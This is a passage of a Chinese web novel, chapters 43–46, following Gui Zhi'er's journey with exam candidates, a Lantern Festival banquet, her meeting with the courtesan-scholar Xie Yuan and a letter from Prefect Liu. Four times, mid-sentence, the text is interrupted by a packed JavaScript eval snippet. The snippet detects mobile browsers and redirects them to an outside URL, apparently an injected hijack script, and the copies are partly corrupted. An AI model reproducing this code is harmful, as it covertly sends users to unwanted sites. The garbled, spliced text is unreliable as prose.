“小将军好锐利的眼光，怎么发现我的？” “吨吨吨。”栾霜柏顾不上烫，一口气喝干了汤。 肉汁的醇厚、小葱叶的清新、紫菜海米的鲜灵……诸般滋味交融，涤荡了连夜赶路的辛劳。 碗底与桌面相触，发出轻微的磕碰声。 “姑娘真不准备在凌河开个分店吗？”栾霜柏长出一口气，回味无穷。 桂枝儿双眸如水，从容不迫地盯着少年，阻止他转移话题。 “咳，其实这事，全仰仗姑娘教得好。” 栾霜柏端然坐立，身姿挺拔如松。他一只手稳稳地搭在膝上，另一只手则将红缨枪放在身侧。 他的眼神明亮，似有万千星辰藏于其中。 “知府大人打过招呼，若是见到姑娘，就请您去府上叙话。”少年偏过头笑笑，显然领会了话中深意。 匹夫无罪，怀璧其罪。 如此有才能的女子，若不能为上位者所用，必遭人觊觎，引火上身。 栾霜柏想起她破一家六口凶杀案的手法，翻开军部统计的出城花名册，细细揣摩。 随春闱举子进京的监学大人，不知名与字，只知其雅号—— 木犀先生。 木犀，桂花也。 “你倒学得快。”桂枝儿莞尔一笑，“那么小将军可知刘知府的真实身份……” 栾霜柏忽然抬手，动作微小，却带着一种毋庸置疑的拒绝。 恰到好处地截断了她的话语。 不能说，还是拿不准？ 桂枝儿本不欲深究，但少年似有些许愧疚不安。 他轻咬下唇，微微前倾，向桂枝儿手里塞了一个物件。 是一串挂坠。 其色古旧，边缘的金币斑驳，雕刻着编号和图案的纹理，却仍旧清晰。 内里镶嵌小块翡翠，翠色欲滴。 “送给姑娘。”栾霜柏耳边绯红，露出一抹腼腆的笑容，“京城之大，久居不易。” 他眼眸低垂，长长的睫毛微颤。 “姑娘持此信物，在汇通钱庄有个户头，做点小本生意不在话下。” 桂枝儿狐疑地瞅了他一眼。 忍不住调侃道：“小将军还是有家底儿的，怪不得不愿入赘公主府。” “哎、不是！”栾霜柏闻言猛地一怔。 他面色涨红，由耳根蔓延到脖颈，抬眸满是窘迫与无措。 少年双唇颤抖，欲张又阖，最终憋出一句：“我又不喜欢……” 馄饨已经晾凉，栾霜柏举箸大快朵颐。 面皮薄如蝉翼，入口即化。他像只花栗鼠，一颗刚下肚，又捡起下一颗。 滑嫩感在舌尖散开，鲜味扑鼻而来。 吃饱喝足，栾霜柏才从尴尬劲儿中缓过来。 “承朔元年春闱，长公主相中了新科探花。”少年拍拍胸脯，心有余悸。 “探花郎拒绝，你猜下场如何？” “哦？”桂枝儿饶有兴趣，蛾眉轻挑。 她微微歪头，如瀑般的乌发垂落一侧，紧盯着少年。 “探花郎出身泗水谢氏。”栾霜柏卖了个关子，“此行路过楚淮河，姑娘只需稍加打听便知。” 他起身，眷恋的目光转瞬即逝。 休沐两日，时间在赶路中被拉得无限漫长，又在相处中一寸寸消失殆尽。 “桂姑娘，一路顺风。”栾霜柏拱手作别。 他潇洒地一拂衣摆，提起长枪，玄色的衣袂随风飘荡，恰似那振翅欲飞的猎鹰。 同样的送别话语，却有另一番心境。 桂枝儿坐在狭小的角落里，将杯举至齐眉处，以茶代酒，遥遥相敬。 放下茶盏后，她洒脱地笑了，仿佛尽抒心中豪情。 莫愁千里路，自有到来风。 继而，她摩挲着手心里的翡翠金挂坠，思考进京后，是否真要做点小本生意。 “小将军回去了？”柳千金走上前来，探头探脑地问道。 “嗯。”桂枝儿点头，“千金姐姐，倘有一男子，佯装贫寒，却忽然予你一笔钱财，是什么意思？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712117|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桂枝儿以为，邀月楼的花魁于男女之事上见多识广，定有良策。 这笔钱，她不能不明不白就用。 若是流水有意，落花无情，岂不伤人的心。 “反正不代表喜欢你。”柳千金双手抱于胸前，吐字清晰且掷地有声。 她易容后稀疏的眉毛紧皱，眼睛里满是严肃与担忧。 “人心叵测。”柳千金冷哼，“专有那俊俏书生如此行骗。” 每次来邀月楼，都是一副穷困潦倒，却又奋勉好学的模样。 偶尔给花娘买个梳子、送个胭脂，谈论些诗词歌赋，就把姐妹们迷得心中涟漪阵阵。 最终，无一例外落泪诉苦，骗了金银跑路。 “就是零存整取。”柳千金笃定道，“先给你点小恩小惠，再捞够本儿。” 桂小娘子是妖精变的，千万不能被负心汉诓骗，丢失修炼所得的法术。 柳千金握紧了拳头。 “好好好，我记住了。”桂枝儿抿紧唇，极力锁住即将溢出的笑意，嘴角却不听话地上翘。 既如此，那便算小将军的资金是入股吧。 待赚了钱再给他分红。 “对了，小娘子。”柳千金这才想起正事儿，“店老板想请您为上元节晚宴添几道菜，酬劳另付。” “行。”桂枝儿答得干脆。 对推动系统任务进度的界定，她已有了头绪。 美食，绝不仅是味蕾盛宴，也不止色香俱全，还少不了情感的承载与寄托。 此等盛事，阖家团圆，自然可以用来练手。 天色向晚，夕阳衔入远山。 挨家挨户的后厨都忙碌起来，灶膛内的干柴熊熊燃烧，为夕食晚膳做足准备。 吃完元宵，还要结伴去街头赏花灯呢。 趁着日头尚有温吞余光，客栈里的忙碌之态，可谓目不暇接。 “快快快，簸箕晃起来！”主厨的庖子用力挥手。 那元宵的主料是黑芝麻、红豆沙、果仁等，在晃动中裹上糯米粉团，饱满明亮。 潺潺流水冲刷过色泽鲜艳的果蔬，进而，锋利的刀刃在案板上起起落落。 切丝、削片、滚刀块。 汗水湿透了几个学徒小伙计的粗布短衫，他们却依然鼓足干劲。 桂枝儿受到感染，手上动作愈发轻快。 她一边煮茶，一边放入当地人称之为“酥”的发酵奶。 许久没喝珍珠奶茶了。 “对了，您刚才说，抢生意的那死对头是谁啊？”桂枝儿好奇地问道。 “害，就隔三条街，新开了一个春和景明客栈。”店老板一拍巴掌，满脸不屑，“你说这名字怪不怪？” “啪嗒！” 一粒爽滑的木薯淀粉珠，掉进奶锅。 43. 大厦将倾 春和景明。 桂枝儿还记得在凌河县，那客栈门头挑着一盏橘黄色的迎客灯笼。 店小二热情礼貌，又格外有眼力劲。 “敝人在此经营数十载，童叟无欺。”店老板摸了两把胡须，皱眉道。 “新开的店看起来其貌不扬，却总是说客满，不肯让同行窥探一二。” 这次上元节晚宴，定要把它的客源都拉拢过来。 闻此豪言壮志，桂枝儿左耳进右耳出。 奶酥倾入锅中，受热后逐渐泛起微小的白沫。她持续用木勺搅拌，以免糊锅。 “莱城位于崤山以东，北境之南。”桂枝儿在心底嘀咕了一句，“也算是连接东鲁和镇北府的要地。” 所以开店会选址在此？ 茶叶在锅中舒展，热气袅袅升起。 弹牙的木薯淀粉珠上下翻滚，似潭中小鱼往来翕忽。 最后一步，泼洒蜜糖金液，搅拌均匀。 “此乃珍珠奶茶，用这空心的嫩竹竿吸食即可。”桂枝儿将其装入竹筒杯中。 不谈味道，光模样就颇为新奇。 店老板与主厨对视一眼，迫不及待地嘬了一口。 入口之初，茶之清香与奶之醇厚先行混合。随后，甜润的蜜糖沁入心脾。 “好喝！”二人眼前一亮。 若说桂枝儿指点的几道卤肉硬菜尽显功底，那这奶茶更是锦上添花。 “其制精巧，便于携行。大家伙赏玩花灯之际，手持一杯，最为相宜。” 店老板乐得差点揪断几根胡须。 夜色渐浓，寒风轻轻吹过。 月光点缀稀疏的树枝，影子在地面画出奇妙图案。似霓裳羽衣起舞，又如美酒飘散云端。 闹元宵，阖家团圆才是热闹。 远行的游子大多在客栈中对月眺望，寄托幽思。 “上元晚宴就要开始了！”店伙计全员出动，“各位客官，且下楼来，一同品尝。” 敲门送礼，递上的就是珍珠奶茶。 大多数兴致缺缺的住客，本不欲凑热闹，但被制作新奇的奶茶造型吸引住了目光。 “小二，这是何物？”风尘仆仆的行商肤色黝黑，双眸却透着精明。 他身着粗布长衫，腰间系的布袋装着银钱和票据。 财不外露，约莫是大客户。 “客官您尝尝，我们掌柜的说，就叫木犀珍珠奶茶。”店伙计不遗余力地推荐。 木犀先生亲手熬制，当属精品。 行商端起竹筒杯，杯沿轻触嘴唇，小啜一口。 “味甘若饴，不错。”他微微眯起眼睛，用吸管吸起一颗木薯淀粉珠，“咦？这是……” 珍珠圆润饱满，裹着奶茶的香味，在齿间释放。 行商先是一愣，紧接着腮帮子一鼓一鼓的，有条不紊地咀嚼着。 “瞅着新奇，给我们也来一杯。”在此歇脚的侠客，伸手招呼道。 他们男女几人，英姿飒爽，腰间各配着一把长剑，剑鞘上似乎还刻着师门标志。 行走江湖，对这新鲜事物颇为好奇。 店伙计面色含笑，麻利递上。 女侠迫不及待地吸了一口。 味香馥郁，清茶与奶酥交融，醇厚相谐得柔滑中又跳出几颗珍珠，饮罢犹觉口齿留香。 “师兄，咱们且下楼，看看这上元晚宴！” 客栈大堂，有卤肉飘香，有吟诗赏月，有五湖四海共聚一堂。 远离无尽的喧嚣，王蒲独居一隅，把《春秋公羊传》从包袱匣子里取了出来。 纯灰蓝色的书衣，略微发黄的书签上印着古雅的书名。 剪裁书纸的刀法圆润，墨迹粲然夺目。 一望便知，是上好的珍贵藏书。 作为学堂里年纪最小的秀才，老先生将这本书赠予他，愿他笃志于学、业有所成。 “先生，有负您的厚望了。”王蒲长叹一口气，“涉入学途，方知此路遍布荆棘，难通锦绣之境。” 他翻开书本，手指摩挲书页。 公羊传讲微言大义，从“据乱世”，到“升平世”，再到“太平世”。 王蒲原以为，自永靖元年天子扫清寰宇以来，五谷丰登、万民乐业，当属太平世。 “可这是弟子第三次赶考路过莱城。”王蒲摇了摇头，“一年不如一年。” 他喃喃自语道。 “穷则变，变则通！”一个干脆利落的声音接言道。 “先生。”王蒲连忙将手中书卷仓促置于一旁。 他起身后，没有拄拐身姿不稳，双手恭敬地交叠于身前行礼。 桂枝儿摆手示意不必多礼，反倒目光温和，鼓励他畅所欲言。 王蒲踌躇片刻，一咬牙。 他索性从承朔二年春的瘟疫，讲到了前几日遇见的山匪。 从道听途说的岭南进兵侵袭，讲到亲眼目睹的增收田赋与税银。 越讲越是心惊肉跳。 “先生，您说如今的大梁，还算盛世年景吗？”王蒲身子僵硬，牙齿打颤。 此言若被有心人听去，莫说科考，小命恐怕都难保。 但他偏想发问。 在这热热闹闹的元宵节，在烛火的映照下，他面容清秀，带着几分儒雅书生气。 眼眸里跳动的却是不甘。 “居安思危。”桂枝儿没有明确答复，也并不责备。她伸手拍拍王蒲的肩膀，安抚他坐下。 观今鉴古，封建王朝的兴衰交替是不可避免的。 桂枝儿开口，声音清朗：“盛世，子民繁衍，人多了就要吃饭。” 她吐字清晰，一言一语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712118|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似珠玉落盘，用最简洁的方式讲述道理。 “一亩地又能产多少粮食？”桂枝儿点明关键，“兼之豪绅吞并土地，原有的地，根本养不活增添的人丁。” 正所谓“官逼民反”，吃不上饭的贫民要么死亡，要么反叛。 她踱步至窗前，手指轻轻搭在窗棂上。 “吱呀”一声，随着窗户被推开，街头巷尾的欢闹声在耳畔轰然炸裂。 妇孺老幼，皆手持上元花灯。雀跃小儿们，蹦跳着穿梭在人群间。 有憨态可掬的兔子，有花瓣舒展的彩灯。 客栈内，行商与侠客喝酒划拳，嘴里不停叫嚷着。 若与他们说，大厦将倾，只会被人嗤笑得了癔症，或是被报官抓走。 达奴人也好，山匪也好，都成不了大气候。 只要莱城大门不破，就说明此地坚实、可靠，纵有危机，也还离得远…… 而此时，上百公里外的镇北府。 有人不谋而合，同样盘算起了人头税与田赋税的问题。 明月高悬，庭院中干枯的树枝，舒展着瘦骨嶙峋的枝桠，在地面投下张牙舞爪的暗影。 檀木桌椅摆放有序，冷风带着丝丝凉意。 “把盘子都撤下去吧，现在谁还有胃口吃。”大腹便便的豪绅霍然起身。 他嘴唇颤抖，两撇小胡子亦跟着上下跳动，好似受惊的耗子。 气氛愈发紧张。 “张员外莫急，新政只干系中心府城，还轮不到我们凌河。”身材颀长的干瘦老人抿了口茶，勉强压住内心的惊惶。 “贤兄，只怕唇亡齿寒啊！”大腹便便的豪绅拍案而起，“他想青史留名，动的却是我们的田亩。” 无怪张员外急迫。 那中心府城的刘善渊刘知府，新官上任三把火。 竟敢在税收上做文章！ 发布通告，要按实有土地征收税费，让匿田者速自首，坦白则宽宥。 有抗拒、隐而不报之人，一律严惩。 “听说，给刘知府打点金银，他的管家照收不误。”从牙缝中挤出来的话语带着浓浓怒意。 “可实际清查的时候，却丝毫不肯包庇。” 大腹便便的豪绅冷笑着。 原本保养得宜、油光水滑的嘴角，此时向下耷拉，撇出一个难看的弧度。 在他看来，刘知府还不如上一位。 起码人家马知府知道共赢，收钱就要办事。 “真逼急了，咱找京城的靠山闹去，上达天听！”大腹便便的豪绅猛地坐回雕花木椅。 厚重的椅子发出“嘭”的一声巨响。 “老弟，消消火。” 身材颀长的干瘦老人尴尬地放下茶杯。 “咳，咱凌河多少年没出过人才了，京城还真没人撑腰。” 44. 小谢公子 “那就任由他骑在我们脖子上屙屎撒尿？”带着红宝石扳指的土地主，吧唧吧唧嘴，反驳道。 话糙理不糙，但这话也太糙了点。 干瘦老人自诩文雅，听闻此言觉得朽木不可雕也。 “刘知府虽是文官，可栾小将军手底下带着兵。”干瘦老人琢磨道，“得拉拢小将军和骆县令。” “对，我们凌河的事自己做主，未必要狗屁知府来管！”一时间群情激愤。 列席的乡绅们大有底气。 一来，北境苦寒，少良田，但相对应需要上缴国库的税收也有限。 二来，前岁瘟疫盛行，自江南直至东鲁，无一处人民不染此症，偏偏北境得以幸免。 因此，镇北府这几年也算是顺风顺水。 乡绅豪强们捞的银子，不触及民之根本，无非是存点私人小金库，亦或是用来上供打点。 各方均相安无事。 “为官，岂有不贪者？”张员外揉了揉大肚腩，“只不过跟咱们三七分，还是四六分的区别。” 他臃肿的身形，像一座肉山。此刻皮笑肉不笑，狠厉之色悄然浮现。 “敬酒不吃，咱们就封庄园，领着家丁抗税。” 到时候叫他一个铜板都收不上去，看当官的急不急？ “咳咳，老弟，不是我故意要拆你的台。” 身材颀长的干瘦老人二度尴尬，他捻了捻枯瘦的手指，面色一滞。 “说来可气，一大半家丁，都被派到军营训练连弩。”他长吁一口气，“除去签卖身契的家生奴，许多混账竟然不愿意回来了！” 众人乡绅面面相觑，神色皆有几分窘迫。 目光交汇后，虽有心掩盖自家的难堪，但也不敢在大事上扯谎。 “李老所言，并非个例。那群没头脑的东西，说甚么兵营不仅管饭、开饷银，还能保家卫国。”有人诉苦道。 “对，给他们挂个民兵的头衔，就乐得找不到北啦。”土地主甩掉手中把玩的玛瑙佛珠，“要跟着军队抗击达奴人，在族谱上单开一页。” “岂有此理！”张员外两颊肥肉颤动，一双小眼眯成一条缝，“栾小将军这是屯私兵，重罪！” 年纪轻轻的生瓜蛋子这么能忽悠人？ 他从哪里搞来的军费！ “屯私兵……话说，好像是我们主动把家丁给送过去的？” 众人再度沉默，神情窘迫。 且不说凌河的乡绅豪强们，吵嚷着要找骆县令评理。 桂枝儿这头，一路带着举子们越山丘、渡水泊，风餐露宿。 既路过繁邑城镇，也穿过荒芜村落。 一路见闻，皆是风景。 “文景兄，前方就是楚淮河畔了吧。”书生们喘着粗气，呼哧呼哧。 “我们是不是可以坐船下江南了？”女书生额上亦是汗珠密布。 众人奔跑良久，脚步渐缓。 一个个呼吸急促紊乱，身形摇晃，仿佛随时都会倒下。眼神中满是疲惫和痛苦，却又透着一股坚韧。 “停吧。”桂枝儿冲车夫摆摆手。 驴车和马车止步不前，举子们一股脑冲上前来，抓起水囊就往嘴里倒。 “慢点，莫要呛到。”留在车上的王蒲细心地安抚大家。 先生招法万千，为增强体质，提议“军训拉练”。 “何为军训？”书生们捧着经书不解地问道。 “会试历时九天，共四场，对体力、毅力都是极大的考验。”桂枝儿晃了晃手里摘的迎春花枝条。 黄色的迎春花瓣小巧玲珑，花蕊纤细如丝。 桂枝儿易容后的面容粗犷，嗅花时却颇为典雅。 她笑道：“军训，就是让大家德智体美劳全面发展，一边跑步一边背书，效果更好。” 众书生心生疑窦。 但无人反驳，即使累得哭爹喊娘也要坚持。 甚至沿途，还遇到几位来自中心府城、十二堡的考生，亦加入其中。 “那么，大家先歇着，我去打点野味做饭了？”桂枝儿笑眯眯地起身。 “承蒙先生教诲，弟子感激不尽！”众人一阵欢呼。 无他，实在是木犀先生做的伙食太香了！ 昨日新采的竹笋，色白如玉，清炒后质嫩味鲜。前日刚摘的野菇，伞盖硕大，烹汤后汁水浓郁…… 如此种种，不一而足。 木犀先生一双妙手，硬是把艰难的赶考旅途，变得活色生香。 “方才跑步途中，偶得一佳句。”有书生喘匀了气，顿觉身心舒畅、思路清晰。 “哦？快说来听听，让我们赏析一番。” 群生边捡柴火，边论新作。 “春光无限好，先生也作首诗吧！”有人起哄道。 桂枝儿按住活蹦乱跳的鲜虾，去其头壳，抽其虾线。 三下五除二，手中便是一枚色泽晶莹的虾仁。 她稍加思索，张口就来。 “鲜虾汤，鱼子酱，美味当前口水长。 春光好，好春光，一声呼噜入梦乡。” 俚俗的打油诗，不讲格律，也不注重对偶平仄，端的是诙谐幽默。 “大俗大雅！妙哉！”众生哈哈大笑。 午歇后，桂枝儿带领举子们打了一套太极拳。 顺便再指点王蒲几句，怎么精准使用竹杖内的暗器。 柳千金也没闲着，教导女书生们如何使用长鞭。 “尔等文人习武，非为好勇斗狠。”桂枝儿语重心长，“旨在磨练意志，强健体魄。” “再者，将来处理政务时，更能临危不惧，果断坚决。” 否则久坐案牍之间，不免怯弱。 “弟子谨记于心。”众人拱手作揖。 再赶二十几公里路，果然就到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712119|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了楚淮河畔。 宽阔的河面波光粼粼，如无数碎金闪烁。一见岸边来了客，袅袅娉婷的船女们便争相邀约。 “公子们要去烟柳浦伐？”船女摇了摇雪白的手腕上的镯子，“双橹的快船可要坐的？” “个是去白鹭洲？一起来哉，我的画船最稳当的。”另一位船女掌篙摇橹，脸上脂粉泛着柔光。 那船一只一只都拾掇得十分整洁，有的船身漆彩纹，有的舱里摆插花。 倘是外地来客，头回见到这样温声细语的船娘，不自觉就跨上船去了。 “不劳烦诸位，我等需过桥寄卖马匹，再去渡口码头。”王蒲耳根通红。 他手持竹杖，目若朗星，身后书篓中背着满满当当的书卷。 “哗啦。”长篙一点，凑过来的船便依次荡走了。 “文景兄，这里怎么尽是些小船啊？”有头回赶考的举子不明所以。 “烟柳浦、白鹭洲，都是有名的烟花地。”王蒲摇了摇头。 大梁按律禁宿妓，若有隐藏的皮肉生意，也就在这楚淮河畔了。 明面上，是如同邀月楼一般的勾栏瓦肆。 暗地里，嫖与赌俱全。 众人依旧坐在车上，过了桥，又是一番景象。 城郊有一排灰扑扑的野房子。 清冷的灰白色调屋瓦错落不齐，木质门框黯淡无光，墙体斑驳。 年老色衰的船女和小倌呆坐门前，眼神空洞疲惫。 屋内争吵和哭声交织。 空气中弥漫着一股陈旧的气息，混合着汗味和胭脂味。 “我曾听闻，这里做的是微末贱业。”王蒲低声介绍道，“统称为灰房子。” 若在以往，他必不肯谈论有辱斯文之事。 但受先生影响，王蒲逐渐转变观念。 读书人不能只活在圣贤书里。 就像先生所说，家事、国事、天下事，俱要关心。 桂枝儿随意扫了几眼。 等待接客的倌妓，岁数不小，大约是被城内烟花地淘汰的。 曾经娇艳的面容，如今已略有岁月沟壑。 如同墨绿绸缎的袍子，料子旧了，便显出暗淡乌色。 “小谢公子的面子，我是要给的。您来捞人，一句话的事儿。” 里屋走出一位龟公。 尖酸刻薄的腔调，三分嘲讽，七分奚落。 随后，明暗交错。 被称为小谢公子的男子，迤迤然踏出门来。 “呀……”众举子不由惊叹。 那小谢公子身着紫色长袍，领口绣着精致的银色丝线。 乌发上插一把珊瑚钗，耳边垂下来一串紫瑛石坠子。 与奢华的服饰相比，他的面容反倒素净，显得极为寡淡。 他有着一副苦情和倔强的面相。 小谢公子漫不经心地瞥了众人一眼。 45. 奉旨卖艺 “楚淮第一名妓，当属小谢探花。”说书先生一拍惊堂木。 “那叫——奉旨卖艺！” 斩钉截铁的四个字，惹得台上台下哄堂大笑。 河畔茶馆古色古香。 青瓦覆顶颇有典雅之韵，几张木质桌椅，几幅山水画卷，就营造出临河听雨的氛围。 桂枝儿与柳千金选了个靠窗的座位。 稍一探头，就能俯瞰到河水悠悠。举子们需在楚淮逗留几日，参加文社集会。 二人便恢复女装溜出门，乐得逍遥自在。 “原来就是他啊。”桂枝儿暗自琢磨。 栾小将军曾提起，此行路过楚淮河，只需稍加打听便知探花郎的下场。 楚淮的茶馆也沾染了些地方特色，对艳情轶事毫不避讳。 “且说承朔元年春闱，天子以文治邦，以才选士。”说书先生轻摇折扇。 “那泗水谢氏是了不得的名门望族。可惜谢家大公子偶感风寒，不能下场应试。” 桂枝儿与柳千金竖起了耳朵。 谢鸢，谢家庶出的二公子。 论才情，还在大公子之上。只因其容貌出类拔萃，被御笔钦点为三甲第三名——探花郎。 “不至于吧。”桂枝儿吹了吹茶。 她脸上一抹诧异如涟漪般轻荡，旋即又恢复安宁。 昨日与小谢公子有过一面之缘，桂枝儿对他的印象仅剩清冷淡漠。 他虽俊朗，但容颜不盛，反被华裳喧宾夺主。 “美人在骨不在皮。”柳千金的眼神要刁钻些，她点了点头，“小谢公子若上了妆，定然艳丽。” 说书人仍在继续，声音洪亮，似黄钟大吕。 常言道：洞房花烛夜，金榜题名时。 在琼林苑宴上，新及第的进士们推杯换盏，叩谢皇恩。 长公主，一眼就相中了探花郎。 “长公主金枝玉叶何等尊贵？岂容推拒！” 说书人双目圆睁，手中折扇猛地一合，重重拍于桌案之上，仿佛义愤填膺。 净说瞎话。 皇家强取豪夺，难道就占理？ 桂枝儿嗑着瓜子，不屑地撇撇嘴。 她不是土生土长的大梁人，自然不理会皇权至上的道理。 王侯将相，宁有种乎？ 更何况，驸马不得干政。 任你有一腔抱负，也只能承欢石榴裙下。 正经读书人，谁肯屈从呢。 “天子震怒！”说书先生绘声绘色，“俗话讲，学成文武艺，货与帝王家。” “既然你不识抬举，那不妨去楚淮卖艺。” “喔。”满堂宾客或瞠目结舌，或倒吸凉气，交头接耳与惊呼声骤起。 “荒谬。”桂枝儿素手轻拈，取葵花籽置于齿间。 咔嗒一声，瓜子壳裂。 “皇帝老儿自己怎么不去卖，那叫——与民同乐！”桂枝儿模仿着说书先生的腔调，蛐蛐两句。 “呵。”一声轻笑。 桂枝儿抬眸。 声音来自邻座男子，他头戴幕篱，半透纱缀于帽檐上，看不清样貌。 只是那腰肢纤细，长袍笼住修长的腿，更显身姿绰约。 说书先生的故事已结束。 几案上，杯盏犹存，茶已微凉，瓜子壳散落各处。 “少侠有何指教？”桂枝儿挑眉问道。 “不敢当。”男子换了个舒展的姿势，江风吹动半掩的窗扉，面纱摇曳。 “只是好心提醒姑娘，隔墙有耳，祸从口出。” 但他的语调却是笑盈盈的。 桂枝儿用手指了指茶馆梁上，再指地面。 最后收回食指停在唇前。 天知地知，你知我知。 男子双肩耸动，一只手轻拍着桌面，发出清脆的声响，似是极为愉悦。 但很快，他就收敛了笑意。 只因楼梯处传来一阵杂乱的脚步声。 “公子，这事儿可得求您帮忙。”来人俱是神情悲愤。 他们大多头戴宽边毡帽，腰间系着布袋，典型走南闯北的行商打扮。 见他们似乎有私密事要谈，桂枝儿很识趣地带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712120|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳千金换了座位。 反正，以习武之人的耳力，想听清并不困难。 “船帮的船把头说了，还得您给出出主意。”行商一鞠到底，行了大礼。 说起来，世人只知行商靠倒买倒卖谋利，自在得很。 殊不知他们亦有苦处。 那就是交易需受牙行的制约。大宗买卖要在牙行登记，以便官府抽成收税。 可货物入了仓，商人们就做不得主了。 “公子容禀，岭南的头春茶有多金贵大家都晓得。”行商拍出算盘，拨弄着颗颗圆润的算珠。 “那牙行仗着有官府背书，坐收厚利也就罢了。此次竟然无故压货，不许我们私觅买主。” 众人呼吸急促，胸膛起伏。 桂枝儿听个大概，也明白了。 立春后的茶芽，经过整冬休眠，恰遇春雨浇灌，变得肥硕鲜爽。 可牙行横插一手，压住商货，弄得客商干着急。 “做我们这一行的，身家性命都押在行情涨落上。”行商苦着脸计算损失，“好端端的紧俏货要是拖到立夏后，可就不值几文了！” “都说公子您在楚淮这一带有门路……” 头戴幕篱的男子忽地抬手，优雅而果断，截断了滔滔不绝的话语。 嘈杂之声骤停。 “你们前日只说受报复，仆从被扔进灰房子。”男子声调婉转悠扬，“这人，我也帮着赎回来了。” “牙行之事，我尽量打听，但不保准有信儿。” 三言两语，轻轻撩拨着人的心弦。 “还得仰仗您关照。” 行商们大为感激，双手捧着一叠厚厚的银票，低头弯腰放在茶几上。 待众人散去，男子掀开幕篱的面纱。 眉如远黛，英气与妩媚交融。眼角点染着桃花胭脂，为深邃含情的眼眸增添了一丝魅惑。 他转头看向桂枝儿，长睫如扇，轻轻颤动。 “我是谢鸢。”他抿唇笑道，“姑娘有空，可以来白鹭洲小酌几杯。” 小谢公子上了妆，果真艳丽无双。 46. 一封家书 离开茶馆时，晌午已过。 骄阳照在楚淮河上，浮光如金鳞般闪烁跃动。数十艘轻舟飘行，美不胜收。 无怪乎，这里能吸引大量的南北行商、文人墨客。 但总有人不请自来，破坏惬意悠闲的氛围。 “桂小娘子，老爷给您的信。”驼衣侍从神出鬼没，微微躬身，双手将信件举起。 那信是素纸制成的信封，用红火漆封印。 与桂枝儿临行前留在卤味店中的几乎一样。 只是字迹要好看百倍。 “哎，我都说了自有住处，不劳烦刘大人。”桂枝儿烦闷地呼了口气，眉头紧蹙。 她实在有些哭笑不得。 或许是在莱城操刀的上元节晚宴暴露了行踪，暗卫一路纠缠不休。 几次三番邀请她，入住沿途城镇的春和景明客栈。 “谁知你们开的是不是黑店？”桂枝儿耍起了无赖。 说着，桂枝儿干脆撕开了信件封口，她倒要看看这位知府大人想说什么。 首先跳出来的是一幅人物小像。 雪山连绵。 身着朱红色交领棉袍的女子，手持木杖，脚踏木板。 飞驰滑下山坡时激起一阵冰雪碎片。 刻画面部轮廓时，铁线描边，刚劲有力。 色彩渲染不重，大片留白，仿佛把北境呼啸的寒风也一并带出来了。 英姿勃发的女侠形象跃然纸上。 “说过要画幅画给我当谢礼，竟还真兑现了。”桂枝儿仔细观摩一番，愈发欣喜。 心情一好，再看信件就不那么抵触了。 更何况刘善渊的字，与桂枝儿用炭笔瞎划拉一比，高下立判。 他的笔迹如人一般瘦劲，但不失筋骨。 运转提顿的痕迹，如同断金割玉，非常干净明丽。 “问小娘子好。 久未闻讯，遥寄尺素。愿君展读之际，如吾在侧。” 没有诘问，没有斥责，桂枝儿仿佛看到刘善渊落笔时神闲气定模样。 接下来，刘善渊如同唠家常般，简单讲述了镇北近日的税费改革，以及水泥铺路的计划。 顺便征求桂枝儿的意见。 “春水既融，盼君归。” 结尾处，笔墨偏重，隐约透着一丝意犹未尽的柔情。 “知府大人可是生气了？”柳千金忍不住偷偷问道。 毕竟她们拉大旗作虎皮，打着刘善渊的名义，才从邀月楼赎了身。 若知府一怒之下，勒令她们滚回去，就难办了。 “那倒没有，大人采取的是怀柔政策。”桂枝儿笑嘻嘻地合上了信。 大约是想先通过和平手段把人诓骗回去，再关进小黑屋严加拷打。 桂枝儿向来不惮以最坏的恶意，来揣测对手。 信，还是要回的。 桂枝儿背着众人，从空间里拿出炭笔，再借了街角代写书信摊位的木桌，咬牙沉思。 “要想富，先修路，这本身没问题。 但镇北乃边境，若是达奴人铁骑来犯，岂不方便他们长驱直入？” 桂枝儿懒得废话，开门见山表达想法。 